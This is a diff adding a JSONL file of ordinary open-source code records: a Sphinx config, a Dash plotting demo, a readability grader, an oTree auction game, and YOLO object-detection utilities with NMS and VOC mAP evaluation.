diff --git "a/492.jsonl" "b/492.jsonl" new file mode 100644--- /dev/null +++ "b/492.jsonl" @@ -0,0 +1,705 @@ +{"seq_id":"206958320","text":"# -*- coding: utf-8 -*-\nproject = u'Pock'\ncopyright = u'2017, Andrew Bentley'\nauthor = u'Andrew Bentley'\n\nversion = u'0.0.6'\nrelease = u'0.0.6'\n\nextensions = []\n\ntemplates_path = ['_templates']\nsource_suffix = '.rst'\nmaster_doc = 'index'\nlanguage = None\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\ntodo_include_todos = False\n\nhtml_static_path = ['_static']\npygments_style = 'sphinx'\nhtml_theme = 'alabaster'\nhtml_sidebars = {\n '**': [\n 'about.html',\n 'navigation.html',\n 'relations.html',\n 'searchbox.html',\n ]\n}\n\nhtml_theme_options = {\n 'description': \"Mocked Python\",\n 'github_user': 'atbentley',\n 'github_repo': 'pock',\n 'github_type': 'star',\n 'github_count': False,\n 'fixed_sidebar': True,\n 'sidebar_collapse': True\n}\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"623919812","text":"# Run this app with `python app.py` and\n# visit http://127.0.0.1:8050/ in your web browser.\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport pandas as pd\nimport math\n\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\ncolors = {\n 'background': '#111111',\n 'text': '#7FDBFF'\n}\n\n\ndf = pd.read_csv('https://gist.githubusercontent.com/chriddyp/5d1ea79569ed194d432e56108a04d188/raw/a9f9e8076b837d541398e999dcbac2b2826a81f8/gdp-life-exp-2007.csv')\n\n#fig = px.scatter(df, x=\"gdp per capita\", y=\"life expectancy\",\n# size=\"population\", color=\"continent\", hover_name=\"country\",\n# log_x=True, size_max=100)\n\n# Load data, define hover text and bubble size\ndata = px.data.gapminder()\ndf_2007 = data[data['year']==2007]\ndf_2007 = df_2007.sort_values(['continent', 'country'])\n\nhover_text = []\nbubble_size = []\n\nfor index, row in df_2007.iterrows():\n hover_text.append(('Country: {country}
'+\n 'Life Expectancy: {lifeExp}
'+\n 'GDP per capita: {gdp}
'+\n 'Population: {pop}
'+\n 'Year: {year}').format(country=row['country'],\n lifeExp=row['lifeExp'],\n gdp=row['gdpPercap'],\n pop=row['pop'],\n year=row['year']))\n bubble_size.append(math.sqrt(row['pop']))\n\ndf_2007['text'] = hover_text\ndf_2007['size'] = bubble_size\nsizeref = 2.*max(df_2007['size'])/(100**2)\n\n# Dictionary with dataframes for each continent\ncontinent_names = ['Africa', 'Americas', 'Asia', 'Europe', 'Oceania']\ncontinent_data = {continent:df_2007.query(\"continent == '%s'\" %continent)\n for continent in continent_names}\n\n# Create figure\nfig = go.Figure()\n\nfor continent_name, continent in continent_data.items():\n fig.add_trace(go.Scatter(\n x=continent['gdpPercap'], y=continent['lifeExp'],\n name=continent_name, text=continent['text'],\n marker_size=continent['size'],\n ))\n\n# Tune marker appearance and layout\nfig.update_traces(mode='markers', marker=dict(sizemode='area',\n sizeref=sizeref, line_width=2))\n\nfig.update_layout(\n title='Life Expectancy v. Per Capita GDP, 2007',\n xaxis=dict(\n title='GDP per capita (2000 dollars)',\n gridcolor='white',\n type='log',\n gridwidth=2,\n ),\n yaxis=dict(\n title='Life Expectancy (years)',\n gridcolor='white',\n gridwidth=2,\n ),\n paper_bgcolor='rgb(243, 243, 243)',\n plot_bgcolor='rgb(243, 243, 243)',\n)\n\napp.layout = html.Div(style={'backgroundColor': colors['background']}, children=[\n html.H1(\n children='Hello Dash',\n style={\n 'textAlign': 'center',\n 'color': colors['text']\n }\n ),\n\n html.Div(children='Dash: A web application framework for Python.', style={\n 'textAlign': 'center',\n 'color': colors['text']\n }),\n\n dcc.Graph(\n id='life-exp-vs-gdp',\n figure=fig\n )\n])\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","sub_path":"Dash/app copy.py","file_name":"app copy.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"118319018","text":"class Conf:\n data_dir = '../data/'\n in_file_dir = data_dir + 'src/'\n out_file_dir = data_dir + 'dest/'\n in_sub_file_dir = in_file_dir + 'subfile/'\n out_sub_file_dir = out_file_dir + 'subfile/'\n\n out_file_name = 'finance_triples.txt'\n in_file_name = 'baike_triples.txt'\n\n finance_words = {'金融', '经济', '财经', '货币', '贷款', '资金', '股票', '期货', '银行', '股市', '保险', '并购', '证券',\n '上市公司', '基金', '上市', '证交所', '债券', '储蓄', '预算', '赤字', '会计', '审计',\n '物价', '美联储', '通货', '信贷', '外汇', '交易', '股息', '资本', '杠杆', '兼并', '收购',\n '破产', '资产', '套利'}\n black_list = {'Ace', 'Aoc', 'CECT', 'HP'}\n\n attribute_black_list = {'餐厅', '书籍'}\n attribute_white_list = {'公司'}\n\n clear_cache = True\n\n\nconf = Conf()\n","sub_path":"constructor/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"568378393","text":"import os\n\n#Calcular el area del trapecio\n\n#Declaracion de variables\nbase_menor,base_mayor,altura= 0,0,0\narea=0\n\n#input\nbase_menor= int(os.sys.argv[1])\nbase_mayor= int(os.sys.argv[2])\naltura= int(os.sys.argv[3])\n\n#procesing\narea= (base_menor+base_mayor)*altura//2\n\n\n#output\n#Si el area supera los 150 metros cuadrados mostrar \"Gran trapecio\"\nif (area > 150):\n print(\"Gran trapecio\")\n\n#Si el area no supera los 150 metros cuadrados mostrar \"Pequeño trapecio\"\nif (area < 150):\n print(\"Pequeño trapecio\")\n\n#fin_if\n\n","sub_path":"Castillo_Jaramillo/condicionales_dobles/condicional_14_doble.py","file_name":"condicional_14_doble.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"524837756","text":"from ib.bluelantern.event import ChargeMetricReceived, DischargeMetricReceived\nfrom ib.bluelantern.interfaces import IEquipmentCache\n\ndef make_charge_handler(cache):\n def charge_handler(event):\n di = cache[event.instance][event.name]\n if 'current' in di and event.timestamp > di['lastseen']:\n if di['lastseen'] > 0:\n _as = (event.timestamp - di['lastseen']) * di['current']\n di['as_counter'] += _as\n di['ws_counter'] += _as * di['voltage']\n di['lastseen'] = event.timestamp\n return charge_handler\n\ndef init(config, cache):\n # initialise counter for each device\n for a in cache.values():\n for b in a.values():\n b['as_counter'] = 0\n b['ws_counter'] = 0\n b['lastseen'] = 0\n\n handler = make_charge_handler(cache)\n config.add_subscriber(handler, ChargeMetricReceived)\n config.add_subscriber(handler, DischargeMetricReceived)\n","sub_path":"src/ib/bluelantern/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"257795650","text":"def regulatrei(a,b):\n x= 100*a/b\n return x\ntext=str(input(\"Your text here: \"))\nletters=words=prop=0\nfor i in range(len(text)):\n if text[i].lower()>='a' and text[i].lower()<='z':\n letters+=1\n elif text[i]=='!' or text[i]=='.' or text[i]=='?':\n prop+=1\n elif text[i]==' ':\n words+=1\nwords+=1\nCL=0.0588 * regulatrei(letters,words) - 0.296 * regulatrei(prop,words) - 15.8\nif (int(CL*10))%10>=5:\n ans=int(CL+1)\nelse:\n ans=int(CL)\nif ans<1:\n print(\"Before Grade 1\")\nelif ans>=16:\n print(\"Grade 16+\")\nelse:\n print(f\"Grade {ans}\")","sub_path":"CS50's Introduction to Computer Science/python + sql/readability.py","file_name":"readability.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"505689298","text":"from otree.api import *\nimport random\n\nauthor = 'Federico Christmann'\n\ndoc = '''In this Second price auction, 2 players bid for an object with private values. Each\nplayer can buy a costly signal about their opponent value which is true w.p. K=1'''\n\n\nclass Constants(BaseConstants):\n name_in_url = 'Second-price-auction'\n players_per_group = 2\n num_rounds = 20\n zero = cu(0)\n min_value = cu(0)\n max_value = cu(100)\n min_cost = cu(5)\n max_cost = cu(15)\n\n\nclass Subsession(BaseSubsession):\n def creating_session(self):\n for p in self.get_players():\n p.private_value = random.randrange(Constants.min_value, Constants.max_value+cu(10), 10)\n for p in self.get_players():\n p.signal_cost = random.randrange(Constants.min_cost, Constants.max_cost+cu(5), 5)\n for p in self.get_players():\n p.signal_value = p.other_player().private_value\n\n\nclass Group(BaseGroup):\n highest_bid = models.CurrencyField()\n second_highest_bid = models.CurrencyField()\n\n def set_payoffs(self):\n players = self.get_players()\n bids = sorted([p.bid_amount for p in players], reverse=True)\n self.highest_bid = bids[0]\n self.second_highest_bid = bids[1]\n players_with_highest_bid = [\n p for p in players\n if p.bid_amount == self.highest_bid\n ]\n # if tie, winner is chosen at random\n winner = random.choice(players_with_highest_bid)\n winner.is_winner = True\n for p in players:\n if p.signal_purchase == 1:\n p.payoff = - p.signal_cost\n if p.is_winner:\n p.payoff = (p.private_value - self.second_highest_bid - p.signal_cost)\n else:\n p.payoff = cu(0)\n if p.is_winner:\n p.payoff = (p.private_value - self.second_highest_bid)\n\n\nclass Player(BasePlayer):\n private_value = models.CurrencyField(\n doc=\"How much the player values the item, generated randomly\"\n )\n\n signal_cost = models.CurrencyField(\n doc=\"Cost of the signal of the rival's value, generated randomly\"\n )\n\n signal_purchase = models.BooleanField(\n doc=\"Decision of buying a signal about the rival's value\"\n )\n\n signal_value = models.CurrencyField(\n doc=\"Signal of the rival's value, which is true wp. K and random wp. 1-K\"\n )\n\n bid_amount = models.CurrencyField(\n min=cu(0), max=cu(1000),\n doc=\"Amount that the player bids\"\n )\n\n is_winner = models.BooleanField(\n initial=False,\n doc=\"Indicates whether the player is the winner\"\n )\n\n def other_player(self):\n return self.get_others_in_group()[0]\n","sub_path":"vickrey_auction_k_1/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"28569303","text":"import random\nimport os\nimport cv2\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\n#import configure.config as config\nimport xml.etree.ElementTree as ET\nfrom collections import OrderedDict\n\n# from utils import torch_utils\nimport config\nimport logging\nfrom abc import ABCMeta, abstractmethod\n\n# Set printoptions\ntorch.set_printoptions(linewidth=1320, precision=5, profile='long')\nnp.set_printoptions(linewidth=320, formatter={'float_kind': '{:11.5g}'.format}) # format short g, %precision=5\n\n# def init_seeds(seed=0):\n# random.seed(seed)\n# np.random.seed(seed)\n# torch_utils.init_seeds(seed=seed)\n\nclass BaseLR():\n __metaclass__ = ABCMeta\n\n @abstractmethod\n def get_lr(self, cur_iter): pass\n\nclass PolyLR(BaseLR):\n def __init__(self, start_lr, lr_power, total_iters):\n self.start_lr = start_lr\n self.lr_power = lr_power\n self.total_iters = total_iters + 0.0\n\n def get_lr(self, cur_iter):\n return self.start_lr * (\n (1 - float(cur_iter) / self.total_iters) ** self.lr_power)\n\ndef convert_state_dict(state_dict):\n \"\"\"Converts a state dict saved from a dataParallel module to normal\n module state_dict inplace\n :param state_dict is the loaded DataParallel model_state\n\n \"\"\"\n new_state_dict = OrderedDict()\n for k, v in state_dict.items():\n name = k[7:] # remove `module.`\n new_state_dict[name] = v\n return new_state_dict\n\ndef weights_init_normal(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n torch.nn.init.normal_(m.weight.data, 0.0, 0.03)\n elif classname.find('BatchNorm2d') != -1:\n torch.nn.init.normal_(m.weight.data, 1.0, 0.03)\n torch.nn.init.constant_(m.bias.data, 0.0)\n\n\ndef xyxy2xywh(x): # Convert bounding box format from [x1, y1, x2, y2] to [x, y, w, h]\n y = torch.zeros(x.shape) if x.dtype is torch.float32 else np.zeros(x.shape)\n y[:, 0] = (x[:, 0] + x[:, 2]) / 2\n y[:, 1] = (x[:, 1] + x[:, 3]) / 2\n y[:, 2] = x[:, 2] - x[:, 0]\n y[:, 3] = x[:, 3] - x[:, 1]\n return y\n\n\ndef xywh2xyxy(x): # Convert bounding box format from [x, y, w, h] to [x1, y1, x2, y2]\n y = torch.zeros(x.shape) if x.dtype is torch.float32 else np.zeros(x.shape)\n y[:, 0] = (x[:, 0] - x[:, 2] / 2)\n y[:, 1] = (x[:, 1] - x[:, 3] / 2)\n y[:, 2] = (x[:, 0] + x[:, 2] / 2)\n y[:, 3] = (x[:, 1] + x[:, 3] / 2)\n return y\n\ndef bbox_iou(box1, box2, x1y1x2y2=True):\n \"\"\"\n Returns the IoU of two bounding boxes\n \"\"\"\n if x1y1x2y2:\n # Get the coordinates of bounding boxes\n b1_x1, b1_y1, b1_x2, b1_y2 = box1[:, 0], box1[:, 1], box1[:, 2], box1[:, 3]\n b2_x1, b2_y1, b2_x2, b2_y2 = box2[:, 0], box2[:, 1], box2[:, 2], box2[:, 3]\n else:\n # Transform from center and width to exact coordinates\n b1_x1, b1_x2 = box1[:, 0] - box1[:, 2] / 2, box1[:, 0] + box1[:, 2] / 2\n b1_y1, b1_y2 = box1[:, 1] - box1[:, 3] / 2, box1[:, 1] + box1[:, 3] / 2\n b2_x1, b2_x2 = box2[:, 0] - box2[:, 2] / 2, box2[:, 0] + box2[:, 2] / 2\n b2_y1, b2_y2 = box2[:, 1] - box2[:, 3] / 2, box2[:, 1] + box2[:, 3] / 2\n\n # get the coordinates of the intersection rectangle\n inter_rect_x1 = torch.max(b1_x1, b2_x1)\n inter_rect_y1 = torch.max(b1_y1, b2_y1)\n inter_rect_x2 = torch.min(b1_x2, b2_x2)\n inter_rect_y2 = torch.min(b1_y2, b2_y2)\n # Intersection area\n inter_area = torch.clamp(inter_rect_x2 - inter_rect_x1, 0) * torch.clamp(inter_rect_y2 - inter_rect_y1, 0)\n # Union Area\n b1_area = (b1_x2 - b1_x1) * (b1_y2 - b1_y1)\n b2_area = (b2_x2 - b2_x1) * (b2_y2 - b2_y1)\n\n return inter_area / (b1_area + b2_area - inter_area + 1e-16)\n\n\ndef build_targets(pred_boxes, pred_conf, pred_cls, target, anchor_wh, nA, nC, nG, batch_report):\n \"\"\"\n returns nT, nCorrect, tx, ty, tw, th, tconf, tcls\n \"\"\"\n nB = len(target) # number of images in batch\n nT = [len(x) for x in target] # torch.argmin(target[:, :, 4], 1) # targets per image\n tx = torch.zeros(nB, nA, nG, nG) # batch size (4), number of anchors (3), number of grid points (13)\n ty = torch.zeros(nB, nA, nG, nG)\n tw = torch.zeros(nB, nA, nG, nG)\n th = torch.zeros(nB, nA, nG, nG)\n tconf = torch.ByteTensor(nB, nA, nG, nG).fill_(0)\n tcls = torch.ByteTensor(nB, nA, nG, nG, nC).fill_(0) # nC = number of classes\n TP = torch.ByteTensor(nB, max(nT)).fill_(0)\n FP = torch.ByteTensor(nB, max(nT)).fill_(0)\n FN = torch.ByteTensor(nB, max(nT)).fill_(0)\n TC = torch.ShortTensor(nB, max(nT)).fill_(-1) # target category\n\n for b in range(nB):\n nTb = nT[b] # number of targets\n if nTb == 0:\n continue\n t = target[b]\n\n # Convert to position relative to box\n TC[b, :nTb], gx, gy, gw, gh = t[:, 0].long(), t[:, 1] * nG, t[:, 2] * nG, t[:, 3] * nG, t[:, 4] * nG\n # Get grid box indices and prevent overflows (i.e. 13.01 on 13 anchors)\n gi = torch.clamp(gx.long(), min=0, max=nG - 1)\n gj = torch.clamp(gy.long(), min=0, max=nG - 1)\n\n # iou of targets-anchors (using wh only)\n box1 = t[:, 3:5] * nG\n box2 = anchor_wh.unsqueeze(1)\n inter_area = torch.min(box1, box2).prod(2)\n iou = inter_area / (gw * gh + box2.prod(2) - inter_area + 1e-16)\n\n # Select best iou_pred and anchor\n iou_best, a = iou.max(0) # best anchor [0-2] for each target\n\n # Select best unique target-anchor combinations\n if nTb > 1:\n iou_order = np.argsort(-iou_best) # best to worst\n\n # Unique anchor selection\n u = torch.cat((gi, gj, a), 0).view(3, -1)\n _, first_unique = np.unique(u[:, iou_order], axis=1, return_index=True) # first unique indices\n # _, first_unique = torch.unique(u[:, iou_order], dim=1, return_inverse=True) # different than numpy?\n\n i = iou_order[first_unique]\n # best anchor must share significant commonality (iou) with target\n i = i[iou_best[i] > 0.10]\n if len(i) == 0:\n continue\n\n a, gj, gi, t = a[i], gj[i], gi[i], t[i]\n if len(t.shape) == 1:\n t = t.view(1, 5)\n else:\n if iou_best < 0.10:\n continue\n i = 0\n\n tc, gx, gy, gw, gh = t[:, 0].long(), t[:, 1] * nG, t[:, 2] * nG, t[:, 3] * nG, t[:, 4] * nG\n\n # Coordinates\n tx[b, a, gj, gi] = gx - gi.float()\n ty[b, a, gj, gi] = gy - gj.float()\n\n # Width and height (yolo method)\n tw[b, a, gj, gi] = torch.log(gw / anchor_wh[a, 0])\n th[b, a, gj, gi] = torch.log(gh / anchor_wh[a, 1])\n\n # Width and height (power method)\n # tw[b, a, gj, gi] = torch.sqrt(gw / anchor_wh[a, 0]) / 2\n # th[b, a, gj, gi] = torch.sqrt(gh / anchor_wh[a, 1]) / 2\n\n # One-hot encoding of label\n tcls[b, a, gj, gi, tc] = 1\n tconf[b, a, gj, gi] = 1\n\n if batch_report:\n # predicted classes and confidence\n tb = torch.cat((gx - gw / 2, gy - gh / 2, gx + gw / 2, gy + gh / 2)).view(4, -1).t() # target boxes\n pcls = torch.argmax(pred_cls[b, a, gj, gi], 1).cpu()\n pconf = torch.sigmoid(pred_conf[b, a, gj, gi]).cpu()\n iou_pred = bbox_iou(tb, pred_boxes[b, a, gj, gi].cpu())\n\n TP[b, i] = (pconf > 0.5) & (iou_pred > 0.5) & (pcls == tc)\n FP[b, i] = (pconf > 0.5) & (TP[b, i] == 0) # coordinates or class are wrong\n FN[b, i] = pconf <= 0.5 # confidence score is too low (set to zero)\n\n return tx, ty, tw, th, tconf, tcls, TP, FP, FN, TC\n\n\ndef non_max_suppression(prediction, conf_thres=0.5, nms_thres=0.4):\n \"\"\"\n Removes detections with lower object confidence score than 'conf_thres' and performs\n Non-Maximum Suppression to further filter detections.\n Returns detections with shape:\n (x1, y1, x2, y2, object_conf, class_score, class_pred)\n \"\"\"\n\n output = [None for _ in range(len(prediction))]\n for image_i, pred in enumerate(prediction):\n # Filter out confidence scores below threshold\n # Get score and class with highest confidence\n\n # cross-class NMS (experimental)\n cross_class_nms = False\n if cross_class_nms:\n a = pred.clone()\n _, indices = torch.sort(-a[:, 4], 0) # sort best to worst\n a = a[indices]\n radius = 30 # area to search for cross-class ious\n for i in range(len(a)):\n if i >= len(a) - 1:\n break\n\n close = (torch.abs(a[i, 0] - a[i + 1:, 0]) < radius) & (torch.abs(a[i, 1] - a[i + 1:, 1]) < radius)\n close = close.nonzero()\n\n if len(close) > 0:\n close = close + i + 1\n iou = bbox_iou(a[i:i + 1, :4], a[close.squeeze(), :4].reshape(-1, 4), x1y1x2y2=False)\n bad = close[iou > nms_thres]\n\n if len(bad) > 0:\n mask = torch.ones(len(a)).type(torch.ByteTensor)\n mask[bad] = 0\n a = a[mask]\n pred = a\n\n # Experiment: Prior class size rejection\n # x, y, w, h = pred[:, 0], pred[:, 1], pred[:, 2], pred[:, 3]\n # a = w * h # area\n # ar = w / (h + 1e-16) # aspect ratio\n # n = len(w)\n # log_w, log_h, log_a, log_ar = torch.log(w), torch.log(h), torch.log(a), torch.log(ar)\n # shape_likelihood = np.zeros((n, 60), dtype=np.float32)\n # x = np.concatenate((log_w.reshape(-1, 1), log_h.reshape(-1, 1)), 1)\n # from scipy.stats import multivariate_normal\n # for c in range(60):\n # shape_likelihood[:, c] = multivariate_normal.pdf(x, mean=mat['class_mu'][c, :2], cov=mat['class_cov'][c, :2, :2])\n\n class_prob, class_pred = torch.max(F.softmax(pred[:, 5:], 1), 1)\n\n v = ((pred[:, 4] > conf_thres) & (class_prob > .3)) # TODO examine arbitrary 0.3 thres here\n v = v.nonzero().squeeze()\n if len(v.shape) == 0:\n v = v.unsqueeze(0)\n\n pred = pred[v]\n class_prob = class_prob[v]\n class_pred = class_pred[v]\n\n # If none are remaining => process next image\n nP = pred.shape[0]\n if not nP:\n continue\n\n # From (center x, center y, width, height) to (x1, y1, x2, y2)\n pred[:, :4] = xywh2xyxy(pred[:, :4])\n\n # Detections ordered as (x1, y1, x2, y2, obj_conf, class_prob, class_pred)\n detections = torch.cat((pred[:, :5], class_prob.float().unsqueeze(1), class_pred.float().unsqueeze(1)), 1)\n # Iterate through all predicted classes\n unique_labels = detections[:, -1].cpu().unique()\n if prediction.is_cuda:\n unique_labels = unique_labels.cuda(prediction.device)\n\n nms_style = 'gaussian' # 'AND' or 'OR' (classical)\n for c in unique_labels:\n # Get the detections with the particular class\n det_class = detections[detections[:, -1] == c]\n # Sort the detections by maximum objectness confidence\n _, conf_sort_index = torch.sort(det_class[:, 4], descending=True)\n det_class = det_class[conf_sort_index]\n # Perform non-maximum suppression\n det_max = []\n\n if nms_style == 'OR': # Classical NMS\n while det_class.shape[0]:\n # Get detection with highest confidence and save as max detection\n det_max.append(det_class[0].unsqueeze(0))\n # Stop if we're at the last detection\n if len(det_class) == 1:\n break\n # Get the IOUs for all boxes with lower confidence\n ious = bbox_iou(det_max[-1], det_class[1:])\n\n # Remove detections with IoU >= NMS threshold\n det_class = det_class[1:][ious < nms_thres]\n\n elif nms_style == 'AND': # 'AND'-style NMS: >=2 boxes must share commonality to pass, single boxes erased\n while det_class.shape[0]:\n if len(det_class) == 1:\n break\n\n ious = bbox_iou(det_class[:1], det_class[1:])\n\n if ious.max() > 0.5:\n det_max.append(det_class[0].unsqueeze(0))\n\n # Remove detections with IoU >= NMS threshold\n det_class = det_class[1:][ious < nms_thres]\n\n elif nms_style == 'linear':\n while det_class.shape[0]:\n # Get detection with highest confidence and save as max detection\n det_max.append(det_class[0].unsqueeze(0))\n # Stop if we're at the last detection\n if len(det_class) == 1:\n break\n # Get the IOUs for all boxes with lower confidence\n ious = bbox_iou(det_max[-1], det_class[1:])\n\n # Remove detections with IoU >= NMS threshold\n weight = (ious > nms_thres).type(torch.cuda.FloatTensor) * (1 - ious) + (ious < nms_thres).type(torch.cuda.FloatTensor)\n det_class[1:, 4] *= weight\n det_class = det_class[1:]\n det_class = det_class[det_class[:, 4] > conf_thres]\n # Stop if we're at the last detection\n if len(det_class) == 0:\n break\n\n _, conf_sort_index = torch.sort(det_class[:, 4], descending=True)\n det_class = det_class[conf_sort_index]\n\n elif nms_style == 'gaussian':\n sigma = 0.5\n while det_class.shape[0]:\n # Get detection with highest confidence and save as max detection\n det_max.append(det_class[0].unsqueeze(0))\n # Stop if we're at the last detection\n if len(det_class) == 1:\n break\n # Get the IOUs for all boxes with lower confidence\n ious = bbox_iou(det_max[-1], det_class[1:])\n\n # Remove detections with IoU >= NMS threshold\n weight = np.exp( - (ious * ious) / sigma)\n det_class[1:, 4] *= weight.type(torch.cuda.FloatTensor)\n det_class = det_class[1:]\n det_class = det_class[det_class[:, 4] > conf_thres]\n # Stop if we're at the last detection\n if len(det_class) == 0:\n break\n\n _, conf_sort_index = torch.sort(det_class[:, 4], descending=True)\n det_class = det_class[conf_sort_index]\n\n if len(det_max) > 0:\n det_max = torch.cat(det_max).data\n # Add max detections to outputs\n output[image_i] = det_max if output[image_i] is None else torch.cat((output[image_i], det_max))\n\n return output\n\n\ndef strip_optimizer_from_checkpoint(filename='weights/best.pt'):\n # Strip optimizer from *.pt files for lighter files (reduced by 2/3 size)\n import torch\n a = torch.load(filename, map_location='cpu')\n a['optimizer'] = []\n torch.save(a, filename.replace('.pt', '_lite.pt'))\n\n# do eval by using VOC2010 mAP\ndef parse_rec(filename):\n \"\"\" Parse a PASCAL VOC xml file \"\"\"\n tree = ET.parse(filename)\n objects = []\n for obj in tree.findall('object'):\n obj_struct = {}\n obj_struct['name'] = obj.find('name').text\n #obj_struct['pose'] = obj.find('pose').text\n #obj_struct['truncated'] = int(obj.find('truncated').text)\n obj_struct['difficult'] = 0#int(obj.find('difficult').text)\n bbox = obj.find('bndbox')\n obj_struct['bbox'] = [int(bbox.find('xmin').text),\n int(bbox.find('ymin').text),\n int(bbox.find('xmax').text),\n int(bbox.find('ymax').text)]\n objects.append(obj_struct)\n\n return objects\n\ndef voc_ap(rec, prec, use_07_metric=False):\n \"\"\" ap = voc_ap(rec, prec, [use_07_metric])\n Compute VOC AP given precision and recall.\n If use_07_metric is true, uses the\n VOC 07 11 point method (default:False).\n \"\"\"\n if use_07_metric:\n # 11 point metric\n ap = 0.\n for t in np.arange(0., 1.1, 0.1):\n if np.sum(rec >= t) == 0:\n p = 0\n else:\n p = np.max(prec[rec >= t])\n ap = ap + p / 11.\n else:\n # correct AP calculation\n # first append sentinel values at the end\n mrec = np.concatenate(([0.], rec, [1.]))\n mpre = np.concatenate(([0.], prec, [0.]))\n\n # compute the precision envelope\n for i in range(mpre.size - 1, 0, -1):\n mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n # to calculate area under PR curve, look for points\n # where X axis (recall) changes value\n i = np.where(mrec[1:] != mrec[:-1])[0]\n\n # and sum (\\Delta recall) * prec\n ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n return ap\n\ndef voc_eval(detpath,\n annopath,\n imagesetfile,\n classname,\n ovthresh=0.5,\n use_07_metric=False):\n\n #read list of images\n with open(imagesetfile, 'r') as f:\n lines = f.readlines()\n imagenames = [x.strip() for x in lines]\n\n recs = {}\n for i, imagename in enumerate(imagenames):\n recs[imagename] = parse_rec(annopath+imagename+'.xml')\n\n # extract gt objects for this class\n class_recs = {}\n npos = 0\n for imagename in imagenames:\n R = [obj for obj in recs[imagename] if obj['name'] == classname]\n bbox = np.array([x['bbox'] for x in R])\n difficult = np.array([x['difficult'] for x in R]).astype(np.bool)\n det = [False] * len(R)\n npos = npos + sum(~difficult)\n class_recs[imagename] = {'bbox': bbox,\n 'difficult': difficult,\n 'det': det}\n\n # read dets\n detfile = detpath.format(classname)\n with open(detfile, 'r') as f:\n lines = f.readlines()\n\n splitlines = [x.strip().split(' ') for x in lines]\n image_ids = [x[0] for x in splitlines]\n confidence = np.array([float(x[1]) for x in splitlines])\n BB = np.array([[float(z) for z in x[2:]] for x in splitlines])\n\n # sort by confidence\n sorted_ind = np.argsort(-confidence)\n sorted_scores = np.sort(-confidence)\n BB = BB[sorted_ind, :]\n image_ids = [image_ids[x] for x in sorted_ind]\n\n # go down dets and mark TPs and FPs\n nd = len(image_ids)\n tp = np.zeros(nd)\n fp = np.zeros(nd)\n # iou = []\n tpCount = 0.0\n fpCount = 0.0\n for d in range(nd):\n R = class_recs[image_ids[d]]\n bb = BB[d, :].astype(float)\n ovmax = -np.inf\n BBGT = R['bbox'].astype(float)\n\n if BBGT.size > 0:\n # compute overlaps\n # intersection\n ixmin = np.maximum(BBGT[:, 0], bb[0])\n iymin = np.maximum(BBGT[:, 1], bb[1])\n ixmax = np.minimum(BBGT[:, 2], bb[2])\n iymax = np.minimum(BBGT[:, 3], bb[3])\n iw = np.maximum(ixmax - ixmin + 1., 0.)\n ih = np.maximum(iymax - iymin + 1., 0.)\n inters = iw * ih\n\n # union\n uni = ((bb[2] - bb[0] + 1.) * (bb[3] - bb[1] + 1.) +\n (BBGT[:, 2] - BBGT[:, 0] + 1.) *\n (BBGT[:, 3] - BBGT[:, 1] + 1.) - inters)\n\n overlaps = inters / uni\n ovmax = np.max(overlaps)\n jmax = np.argmax(overlaps)\n\n if ovmax > ovthresh:\n if not R['difficult'][jmax]:\n if not R['det'][jmax]:\n tp[d] = 1.\n R['det'][jmax] = 1\n tpCount += 1.\n # iou.append(ovmax)\n else:\n fp[d] = 1.\n fpCount += 1.\n else:\n fp[d] = 1.\n fpCount += 1.\n\n # compute precision recall\n fp = np.cumsum(fp)\n tp = np.cumsum(tp)\n rec = tp / float(npos)\n #avg_iou = sum(iou) / len(iou)\n # avoid divide by zero in case the first detection matches a difficult\n # ground truth\n prec = tp / np.maximum(tp + fp, np.finfo(np.float64).eps)\n ap = voc_ap(rec, prec, use_07_metric)#\n if int(npos) == 0:\n recall = 0\n else:\n recall = tpCount / float(npos)\n precious = tpCount / (tpCount + fpCount)\n\n return rec, prec, ap, recall, precious#, avg_iou\n\ndef do_python_eval(output_dir, test, detection_path, xml_path):\n imagesetfile = test # Just the list of Image names not their entire address\n detpath = detection_path # the format and the address where the ./darknet detector valid .. results are stored\n # Change the annopath accordingly\n annopath = xml_path\n aps = []\n # ious = []\n # The PASCAL VOC metric changed in 2010\n\n if not os.path.isdir(output_dir):\n os.mkdir(output_dir)\n for i, cls in enumerate(config.className):\n if cls == '__background__':\n continue\n filename = detpath + cls + '.txt'\n rec, prec, ap, _, _ = voc_eval(filename, annopath, imagesetfile, cls, ovthresh=0.5,\n use_07_metric=False)#, avg_iou\n\n aps += [ap]\n #ious += [avg_iou]\n # with open(os.path.join(output_dir, cls + '_pr.pkl'), 'w') as f:\n # cPickle.dump({'rec': rec, 'prec': prec, 'ap': ap}, f)\n print('Mean AP = {:.4f}'.format(np.mean(aps)))\n print('~~~~~~~~')\n print('Results:')\n for i, ap in enumerate(aps):\n print(config.className[i] + ': ' + '{:.3f}'.format(ap))\n #print(config.className[i] + '_iou: ' + '{:.3f}'.format(ious[aps.index(ap)]))\n\n print('mAP: ' + '{:.3f}'.format(np.mean(aps)))\n #print('Iou acc: ' + '{:.3f}'.format(np.mean(ious)))\n 